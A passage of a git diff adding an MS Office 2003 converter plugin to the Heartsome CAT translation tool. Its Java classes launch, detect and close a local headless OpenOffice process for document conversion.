XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + +preference.ExcelPreferencePage.title = Microsoft Excel +preference.ExcelPreferencePage.groupCommon = \u8f6c\u6362\u9009\u9879 +preference.ExcelPreferencePage.imageLabel = \u8f6c\u6362 Microsoft Excel \u5de5\u4f5c\u7c3f (XLSX) \u6587\u4ef6\u65f6\uff0c\u6392\u9664\u5982\u4e0b\u7c7b\u578b\u7684\u53ef\u7ffb\u8bd1\u6587\u672c\uff1a +preference.ExcelPreferencePage.btnRedFont = \u7ea2\u8272\u5b57\u4f53\u5355\u5143\u683c\uff08RGB \u989c\u8272\u503c\uff1a#FF0000\uff09 + +msexcel.TYPE_NAME_VALUE = Microsoft Excel \u5de5\u4f5c\u7c3f (XLSX) \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/.classpath b/hsconverter/net.heartsome.cat.converter.msoffice2003/.classpath new file mode 100644 index 0000000..2803340 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/.classpath @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/.gitignore b/hsconverter/net.heartsome.cat.converter.msoffice2003/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/.project b/hsconverter/net.heartsome.cat.converter.msoffice2003/.project new file mode 100644 index 0000000..26803ba --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.msoffice2003 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.msoffice2003/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..66edf04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:11:17 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.msoffice2003/META-INF/MANIFEST.MF new file mode 100644 index 0000000..e34b21b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/META-INF/MANIFEST.MF @@ -0,0 +1,22 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MS Office 2003 +Bundle-SymbolicName: net.heartsome.cat.converter.msoffice2003 +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.msoffice2003.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.converter.openoffice, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.osgi.util.tracker;version="1.4.2", + org.slf4j +Bundle-ClassPath: ., + lib/juh-2.3.1.jar, + lib/jurt-2.3.1.jar, + lib/ridl-2.3.1.jar, + lib/unoil-2.3.1.jar, + lib/commons-io-1.3.1.jar +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/build.properties b/hsconverter/net.heartsome.cat.converter.msoffice2003/build.properties new file mode 100644 index 0000000..ba8320d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/juh-2.3.1.jar,\ + lib/jurt-2.3.1.jar,\ + lib/ridl-2.3.1.jar,\ + lib/unoil-2.3.1.jar,\ + lib/commons-io-1.3.1.jar diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/commons-io-1.3.1.jar b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/commons-io-1.3.1.jar new file mode 100644 index 0000000..7affdef Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/commons-io-1.3.1.jar differ diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/juh-2.3.1.jar b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/juh-2.3.1.jar new file mode 100644 index 0000000..8ccaf2e Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/juh-2.3.1.jar differ diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/jurt-2.3.1.jar b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/jurt-2.3.1.jar new file mode 100644 index 0000000..8d27d52 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/jurt-2.3.1.jar differ diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/ridl-2.3.1.jar b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/ridl-2.3.1.jar new file mode 100644 index 0000000..d5f5460 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/ridl-2.3.1.jar differ diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/unoil-2.3.1.jar b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/unoil-2.3.1.jar new file mode 100644 index 0000000..38ccbc8 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.msoffice2003/lib/unoil-2.3.1.jar differ diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallOO4Linux.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallOO4Linux.java new file mode 100644 index 0000000..cc1ba48 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallOO4Linux.java @@ -0,0 +1,146 @@ +/** + * CallOO4Linux.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ooconnect.TerminationOpenoffice; + +/** + * The Class CallOO4Linux. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class CallOO4Linux { + + /** + * Instantiates a new data constant. + */ + protected CallOO4Linux() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The status. */ + private static int status = 0; + + /** The proc. */ + private static Process proc; + + /** The br. */ + @SuppressWarnings("unused") + private static BufferedReader br = null; + + /** The in. */ + @SuppressWarnings("unused") + private static InputStream in = null; + + /** The isr. */ + @SuppressWarnings("unused") + private static InputStreamReader isr = null; + + /** + * Start. + * @param path + * the path + * @param port + * the port + */ + public static void start(String path, String port) { + Runtime runtime = Runtime.getRuntime(); + String execStr = path + " -headless -norestore -invisible" //$NON-NLS-1$ + + " \"-accept=socket,host=localhost,port=" + port + ";urp;\" &"; //$NON-NLS-1$ //$NON-NLS-2$ + System.out.println(execStr); + String[] args1 = new String[] { "/bin/sh", "-c", execStr }; //$NON-NLS-1$ //$NON-NLS-2$ + runtime.availableProcessors(); + try { + proc = runtime.exec(args1); + StreamGobbler errorGobbler = new StreamGobbler(proc.getErrorStream(), "ERROR"); //$NON-NLS-1$ + errorGobbler.start(); + try { + Thread.sleep(5000); + } catch (InterruptedException e) { + + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + } + String msg = errorGobbler.getMsg(); + System.out.println("msg:" + msg); //$NON-NLS-1$ + if (!msg.equals("")) { + CallOO4Linux.setStatus(0); + } else { + CallOO4Linux.setStatus(1); + } + + } catch (IOException e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + + setStatus(0); + return; + } + + } + + /** + * Gets the porc. + * @return the porc + */ + public static Process getPorc() { + return proc; + } + + /** + * Gets the status. + * @return the status + */ + public static int getStatus() { + return status; + } + + /** + * Sets the status. + * @param i + * the new status + */ + public static void setStatus(int i) { + status = i; + } + + /** + * Close. + * @param port + * the port + */ + public static void close(String port) { + TerminationOpenoffice.closeOpenoffice(port); + + } + + /** + * The main method. + * @param args + * the arguments + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public static void main(String[] args) throws IOException { + CallOO4Linux.start("/usr/bin/soffice", "8000"); //$NON-NLS-1$ //$NON-NLS-2$ + System.out.println(CallOO4Linux.getStatus()); + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallService4Mac.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallService4Mac.java new file mode 100644 index 0000000..eadab3e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallService4Mac.java @@ -0,0 +1,137 @@ +/** + * CallService4Mac.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.io.IOException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ooconnect.TerminationOpenoffice; + +/** + * The Class CallService4Mac. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class CallService4Mac { + + /** + * Instantiates a new data constant. + */ + protected CallService4Mac() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The status. */ + private static int status = 0; + + /** The proc. */ + private static Process proc; + + /** + * Start. + * @param path + * the path + * @param port + * the port + */ + public static void start(String path, String port) { + + Runtime runtime = Runtime.getRuntime(); + if (path.indexOf("/Contents/MacOS/soffice") == -1) { //$NON-NLS-1$ + path = path + "/Contents/MacOS/soffice"; //$NON-NLS-1$ + } + // "/Applications/OpenOffice.org\ 2.4.app/Contents/MacOS/soffice" + path = path.trim(); + path = path.replace(" ", "\\ "); //$NON-NLS-1$ //$NON-NLS-2$ + // path =path.substring(0,path.length()-1); + // path ="."+path; + System.out.println(path); + + String execStr = path + " -headless -norestore -invisible" //$NON-NLS-1$ + + " \"-accept=socket,host=localhost,port=" + port + ";urp;\" &"; //$NON-NLS-1$ //$NON-NLS-2$ + System.out.println(execStr); + String[] args1 = new String[] { "/bin/sh", "-c", execStr }; //$NON-NLS-1$ //$NON-NLS-2$ + runtime.availableProcessors(); + // /Applications/OpenOffice.org\ 2.4.app/Contents/MacOS/soffice + // -headless -norestore -invisible + // "-accept=socket,host=localhost,port=9000;urp;" & + // cmdstr="./Applications/OpenOffice.org 2.4.app/Contents/MacOS/soffice.bin"; + + try { + proc = runtime.exec(args1); + StreamGobbler errorGobbler = new StreamGobbler(proc.getErrorStream(), "ERROR"); //$NON-NLS-1$ + errorGobbler.start(); + try { + Thread.sleep(5000); + } catch (InterruptedException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + String msg = errorGobbler.getMsg(); + + if (!msg.equals("") && msg.indexOf("No such file or directory") == -1) { //$NON-NLS-1$ //$NON-NLS-2$ + // CallService4Mac.setStatus(1); + msg = ""; //$NON-NLS-1$ + } + System.out.println("Msg:" + msg); //$NON-NLS-1$ + System.out.println(msg.equals("")); //$NON-NLS-1$ + if (!msg.equals("")) { + CallService4Mac.setStatus(0); + } else { + CallService4Mac.setStatus(1); + } + System.out.println(CallService4Mac.getStatus()); + } catch (IOException e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + + setStatus(0); + return; + } + } + + /** + * Gets the process. + * @return the process + */ + public static Process getProcess() { + return proc; + } + + /** + * Gets the status. + * @return the status + */ + public static int getStatus() { + return status; + } + + /** + * Sets the status. + * @param i + * the new status + */ + public static void setStatus(int i) { + CallService4Mac.status = i; + } + + /** + * Close. + * @param port + * the port + */ + public static void close(String port) { + TerminationOpenoffice.closeOpenoffice(port); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallService4Windows.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallService4Windows.java new file mode 100644 index 0000000..cdb1696 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CallService4Windows.java @@ -0,0 +1,110 @@ +/** + * CallService4Windows.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.io.IOException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ooconnect.TerminationOpenoffice; + +/** + * The Class CallService4Windows. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class CallService4Windows { + + /** + * Instantiates a new data constant. + */ + protected CallService4Windows() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The status. */ + private static int status = 0; + + /** The proc. */ + private static Process proc; + + /** + * Start. + * @param path + * the path + * @param port + * the port + */ + public static void start(String path, String port) { + Runtime runtime = Runtime.getRuntime(); + String cmdstr = path + " -headless -norestore -invisible" //$NON-NLS-1$ + + " -accept=socket,host=localhost,port=" + port + ";urp; "; //$NON-NLS-1$ //$NON-NLS-2$ + try { + proc = runtime.exec(cmdstr); + StreamGobbler errorGobbler = new StreamGobbler(proc.getErrorStream(), "ERROR"); //$NON-NLS-1$ + errorGobbler.start(); + try { + Thread.sleep(5000); + } catch (InterruptedException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + String msg = errorGobbler.getMsg(); + if (!msg.equals("")) { + CallService4Windows.setStatus(0); + } else { + CallService4Windows.setStatus(1); + } + } catch (IOException e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + + setStatus(0); + return; + } + } + + /** + * Gets the process. + * @return the process + */ + public static Process getProcess() { + return proc; + } + + /** + * Gets the status. + * @return the status + */ + public static int getStatus() { + return status; + } + + /** + * Sets the status. + * @param i + * the new status + */ + public static void setStatus(int i) { + CallService4Windows.status = i; + } + + /** + * Close. + * @param port + * the port + */ + public static void close(String port) { + TerminationOpenoffice.closeOpenoffice(port); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CloseOOconnection.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CloseOOconnection.java new file mode 100644 index 0000000..e36fd7c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/CloseOOconnection.java @@ -0,0 +1,94 @@ +/** + * CloseOOconnection.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +/** + * The Class CloseOOconnection. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class CloseOOconnection { + + /** + * Instantiates a new data constant. + */ + protected CloseOOconnection() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The linux. */ + private static int linux = 1; + + /** The windows. */ + private static int windows = 2; + + /** The mac. */ + private static int mac = 3; + + /** The status. */ + private static int status = 0; + + /** + * Close service. + * @param port + * the port + * @return the int + */ + public static int closeService(String port) { + + if (getSystemCode() == linux) { + CallOO4Linux.close(port); + setStauts(0); + } else if (getSystemCode() == windows) { + CallService4Windows.close(port); + setStauts(0); + } else if (getSystemCode() == mac) { + CallService4Mac.close(port); + setStauts(0); + } + return status; + } + + /** + * Gets the system code. + * @return the system code + */ + public static int getSystemCode() { + int systemcode = 0; + String systemname = System.getProperty("os.name").toUpperCase(); //$NON-NLS-1$ + if (systemname.contains("LINUX")) { //$NON-NLS-1$ + systemcode = linux; + } else if (systemname.contains("WINDOW")) { //$NON-NLS-1$ + systemcode = windows; + } else if (systemname.contains("MAC OS X")) { //$NON-NLS-1$ + systemcode = mac; + } + return systemcode; + } + + /** + * Sets the stauts. + * @param statuscode + * the new stauts + */ + public static void setStauts(int statuscode) { + status = statuscode; + } + + /** + * Gets the status. + * @return the status + */ + public static int getStatus() { + + return status; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/DetectOORunning.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/DetectOORunning.java new file mode 100644 index 0000000..84d954e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/DetectOORunning.java @@ -0,0 +1,210 @@ +/** + * DetectOORunning.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.io.IOException; + +import net.heartsome.cat.converter.Converter; + +/** + * The Class DetectOORunning. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class DetectOORunning { + + /** + * Instantiates a new data constant. + */ + protected DetectOORunning() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The Constant linux. */ + private static final int LINUX = 1; + + /** The Constant windows. */ + private static final int WINDOWS = 2; + + /** The Constant mac. */ + private static final int MAC = 3; + + /** The username. */ + private static String username; + + /** The is runn. */ + private static boolean isRunn = false; + + /** + * Checks if is running. + * @return true, if is running + */ + public static boolean isRunning() { + username = System.getProperty("user.name"); //$NON-NLS-1$ + int systemcode = DetectOORunning.getSystemCode(); + switch (systemcode) { + case LINUX: + isRunn = detectLinux(); + break; + case WINDOWS: + isRunn = detectWins(); + break; + case MAC: + isRunn = detectMac(); + + break; + default: + break; + } + return isRunn; + } + + /** + * Gets the checks if is running. + * @return the checks if is running + */ + public static boolean getIsRunning() { + return DetectOORunning.isRunn; + } + + /** + * Sets the checks if is running. + * @param isrun + * the new checks if is running + */ + public static void setIsRunning(boolean isrun) { + DetectOORunning.isRunn = isrun; + } + + /** + * Detect linux. + * @return true, if successful + */ + private static boolean detectLinux() { + boolean isrun = false; + Runtime runtime = Runtime.getRuntime(); + String execStr = "ps -U " + username + "|grep soffice"; //$NON-NLS-1$ //$NON-NLS-2$ + String[] args1 = new String[] { "/bin/sh", "-c", execStr }; //$NON-NLS-1$ //$NON-NLS-2$ + runtime.availableProcessors(); + try { + System.out.println(System.getProperty("user.name") + "Linux"); //$NON-NLS-1$ //$NON-NLS-2$ + Process proc = runtime.exec(args1); + StreamGobbler errorGobbler = new StreamGobbler(proc.getInputStream(), "info"); //$NON-NLS-1$ + errorGobbler.start(); + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + } + String msg = errorGobbler.getMsg(); + isrun = msg.toLowerCase().contains("soffice"); //$NON-NLS-1$ + } catch (IOException e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + } + return isrun; + } + + /** + * Detect wins. + * @return true, if successful + */ + private static boolean detectWins() { + boolean isrun = false; + Runtime runtime = Runtime.getRuntime(); + String cmdstr = "tasklist /FI \"IMAGENAME eq soffice.exe\""; //$NON-NLS-1$ + try { + Process proc = runtime.exec(cmdstr); + StreamGobbler errorGobbler = new StreamGobbler(proc.getInputStream(), "info"); //$NON-NLS-1$ + errorGobbler.start(); + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + } + String msg = errorGobbler.getMsg(); + isrun = msg.toLowerCase().contains("soffice"); //$NON-NLS-1$ + } catch (IOException e1) { + + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + } + return isrun; + } + + /** + * Detect mac. + * @return true, if successful + */ + private static boolean detectMac() { + boolean isrun = false; + Runtime runtime = Runtime.getRuntime(); + String execStr = "ps -U " + username + " -c|grep soffice"; //$NON-NLS-1$ //$NON-NLS-2$ + String[] args1 = new String[] { "/bin/sh", "-c", execStr }; //$NON-NLS-1$ //$NON-NLS-2$ + runtime.availableProcessors(); + try { + Process proc = runtime.exec(args1); + StreamGobbler errorGobbler = new StreamGobbler(proc.getInputStream(), "info"); //$NON-NLS-1$ + errorGobbler.start(); + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + } + String msg = errorGobbler.getMsg(); + isrun = msg.toLowerCase().contains("soffice"); //$NON-NLS-1$ + + } catch (IOException e1) { + if (Converter.DEBUG_MODE) { + e1.printStackTrace(); + } + + } + return isrun; + } + + /** + * Gets the system code. + * @return the system code + */ + private static int getSystemCode() { + int systemcode = 0; + String systemname = System.getProperty("os.name").toUpperCase(); //$NON-NLS-1$ + if (systemname.contains("LINUX")) { //$NON-NLS-1$ + systemcode = LINUX; + } else if (systemname.contains("WINDOW")) { //$NON-NLS-1$ + systemcode = WINDOWS; + } else if (systemname.contains("MAC OS X")) { //$NON-NLS-1$ + systemcode = MAC; + } + return systemcode; + } + + /** + * The main method. + * @param args + * the arguments + */ + public static void main(String[] args) { + System.out.println(isRunning()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/MS2OOConverter.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/MS2OOConverter.java new file mode 100644 index 0000000..d149b25 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/MS2OOConverter.java @@ -0,0 +1,97 @@ +/** + * MS2OOConverter.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.io.File; +import java.util.Map; + +import net.heartsome.cat.converter.ooconnect.SocketOPConnection; +import net.heartsome.cat.converter.ooconverter.OpenOfficeDocumentConverter; + +/** + * The Class MS2OOConverter. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class MS2OOConverter { + + /** The path. */ + private String path = ""; //$NON-NLS-1$ + + /** The port. */ + private String port = ""; //$NON-NLS-1$ + + /** The connection. */ + private SocketOPConnection connection = null; + + /** + * Instantiates a new m s2 oo converter. + * @param args + * the args + */ + public MS2OOConverter(Map args) { + path = args.get("ooPath"); + port = args.get("port"); + } + + /** + * Startconvert. + * @param inputFile + * the input file + * @param outputFile + * the output file + * @param openbyuser + * the openbyuser + * @throws Exception + * the exception + */ + public void startconvert(File inputFile, File outputFile, boolean openbyuser) throws Exception { + boolean isrun = DetectOORunning.isRunning(); + if (!isrun) { + OpenConnection.openService(path, port); + openbyuser = false; + } + + connection = new SocketOPConnection(Integer.parseInt(port)); + connection.connect(); + convert(inputFile, outputFile, openbyuser); + } + + /** + * Convert. + * @param inputFile + * the input file + * @param outputFile + * the output file + * @param openbyuser + * the openbyuser + * @throws Exception + * the exception + */ + public void convert(File inputFile, File outputFile, boolean openbyuser) throws Exception { + System.out.println("start to convert..."); //$NON-NLS-1$ + OpenOfficeDocumentConverter converter = new OpenOfficeDocumentConverter(connection); + converter.convert(inputFile, outputFile); + System.out.println("end convert..."); //$NON-NLS-1$ + connection.closeconnect(); + if (!openbyuser) { + CloseOOconnection.closeService(port); + } + } + + /** + * Gets the port. + * @return the port + */ + public String getPort() { + return port; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/OpenConnection.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/OpenConnection.java new file mode 100644 index 0000000..4ced855 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/OpenConnection.java @@ -0,0 +1,100 @@ +/** + * OpenConnection.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +/** + * The Class OpenConnection. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class OpenConnection { + + /** + * Instantiates a new data constant. + */ + protected OpenConnection() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The linux. */ + private static int linux = 1; + + /** The windows. */ + private static int windows = 2; + + /** The mac. */ + private static int mac = 3; + + /** The status. */ + private static int status = 0; + + /** + * Open service. + * @param path + * the path + * @param port + * the port + * @return the int + */ + public static int openService(String path, String port) { + + if (getSystemCode() == linux) { + + CallOO4Linux.start(path, port); + setStauts(CallOO4Linux.getStatus()); + + } else if (getSystemCode() == windows) { + CallService4Windows.start(path, port); + setStauts(CallService4Windows.getStatus()); + } else if (getSystemCode() == mac) { + System.out.println("---------"); //$NON-NLS-1$ + CallService4Mac.start(path, port); + setStauts(CallService4Mac.getStatus()); + System.out.println("\\\\\\\\\\\\\\\\\\\\"); //$NON-NLS-1$ + } + return status; + } + + /** + * Gets the system code. + * @return the system code + */ + public static int getSystemCode() { + int systemcode = 0; + String systemname = System.getProperty("os.name").toUpperCase(); //$NON-NLS-1$ + if (systemname.contains("LINUX")) { //$NON-NLS-1$ + systemcode = linux; + } else if (systemname.contains("WINDOW")) { //$NON-NLS-1$ + systemcode = windows; + } else if (systemname.contains("MAC OS X")) { //$NON-NLS-1$ + systemcode = mac; + } + return systemcode; + } + + /** + * Sets the stauts. + * @param statuscode + * the new stauts + */ + public static void setStauts(int statuscode) { + status = statuscode; + } + + /** + * Gets the status. + * @return the status + */ + public static int getStatus() { + + return status; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/StartupOO.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/StartupOO.java new file mode 100644 index 0000000..0246d4f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/StartupOO.java @@ -0,0 +1,89 @@ +/** + * StartupOO.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.util.Hashtable; + +/** + * The Class StartupOO. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class StartupOO { + + /** The pretable. */ + private Hashtable pretable = null; + + /** The oo service. */ + private boolean ooService = false; + + /** + * Instantiates a new startup oo. + * @param args + * the args + */ + public StartupOO(Hashtable args) { + pretable = args; + } + + /** + * Detect conf oo. + * @return true, if successful + */ + public boolean detectConfOO() { + String path = pretable.get("ooPath"); //$NON-NLS-1$ + String port = pretable.get("port"); //$NON-NLS-1$ + OpenConnection.openService(path, port); + if (OpenConnection.getStatus() == 1) { + setOoService(true); + } + return ooService; + } + + /** + * Can start oo. + */ + public void canStartOO() { + String path = pretable.get("ooPath"); //$NON-NLS-1$ + String port = pretable.get("port"); //$NON-NLS-1$ + + /** + * 判断是å¦é…置正确,如果é…置正确和用户手动å¯åŠ¨æ­£åœ¨è¿è¡Œï¼Œé‚£ä¹ˆå°†ä¸å…³é—­æ­£åœ¨è¿è¡Œçš„OO å¦åˆ™å°†å°†å…³é—­æ­£åœ¨è¿è¡Œçš„OO + */ + + boolean openbyuser = DetectOORunning.isRunning(); + OpenConnection.openService(path, port); + if (OpenConnection.getStatus() == 1) { + setOoService(true); + } + + if (!openbyuser) { + CloseOOconnection.closeService(port); + } + } + + /** + * Sets the oo service. + * @param status + * the new oo service + */ + public void setOoService(boolean status) { + this.ooService = status; + } + + /** + * Gets the oo service. + * @return the oo service + */ + public boolean getOoService() { + return this.ooService; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/StreamGobbler.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/StreamGobbler.java new file mode 100644 index 0000000..54ba94e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ms2oo/StreamGobbler.java @@ -0,0 +1,89 @@ +/** + * StreamGobbler.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ms2oo; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; + +import net.heartsome.cat.converter.Converter; + +/** + * The Class StreamGobbler. + * @author John Zhu + * @version + * @since JDK1.6 + */ +class StreamGobbler extends Thread { + + /** The is. */ + InputStream is; + + /** The type. */ + String type; // 输出æµçš„类型ERROR或OUTPUT + + /** The msg. */ + String msg = ""; //$NON-NLS-1$ + + /** The sb. */ + StringBuffer sb; + + /** + * Instantiates a new stream gobbler. + * @param is + * the is + * @param type + * the type + */ + StreamGobbler(InputStream is, String type) { + this.is = is; + this.type = type; + sb = new StringBuffer(); + } + + /** + * (non-Javadoc) + * @see java.lang.Thread#run() + */ + public void run() { + try { + InputStreamReader isr = new InputStreamReader(is); + BufferedReader br = new BufferedReader(isr); + String line = null; + while ((line = br.readLine()) != null) { + sb.append(line); + System.out.flush(); + } + setMsg(sb.toString()); + } catch (IOException 